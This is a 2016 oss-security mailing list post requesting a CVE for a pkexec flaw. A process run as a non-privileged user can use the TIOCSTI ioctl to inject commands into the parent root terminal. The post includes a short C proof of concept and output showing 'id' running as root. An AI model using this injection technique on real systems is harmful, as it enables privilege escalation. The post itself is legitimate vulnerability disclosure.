oss-security - CVE Request: pkexec tty hijacking via TIOCSTI ioctl

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Message-ID: <20160225121511.17881tlkjezvzolc@webmail.alunos.dcc.fc.up.pt>
Date: Thu, 25 Feb 2016 12:15:11 +0100
From: up201407890@...nos.dcc.fc.up.pt
To: oss-security@...ts.openwall.com
Cc: cve-assign@...re.org
Subject: CVE Request: pkexec tty hijacking via TIOCSTI ioctl

Bug report to redhat:
https://bugzilla.redhat.com/show_bug.cgi?id=1300746

When executing a program via "pkexec --user nonpriv program" the  
nonpriv session can
escape to the parent session by using the TIOCSTI ioctl to push  
characters into the
terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" by calling setsid() and in "sudo" by  
using the
"use_pty" flag.

# cat test.c
#include <sys/ioctl.h>

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
}

# gcc test.c -o test
# id saken
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# pkexec --user saken ./test ----> last command i type in
id
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)

This is similar to CVE-2005-4890 and CVE-2013-6409

I'd like to request a CVE for this issue.

PS: I don't believe any of the previous mentions of fixes for "su" and
"sudo" would work here, since executing a shell via pkexec would make it not
have job control.

Thanks,
Federico Bento

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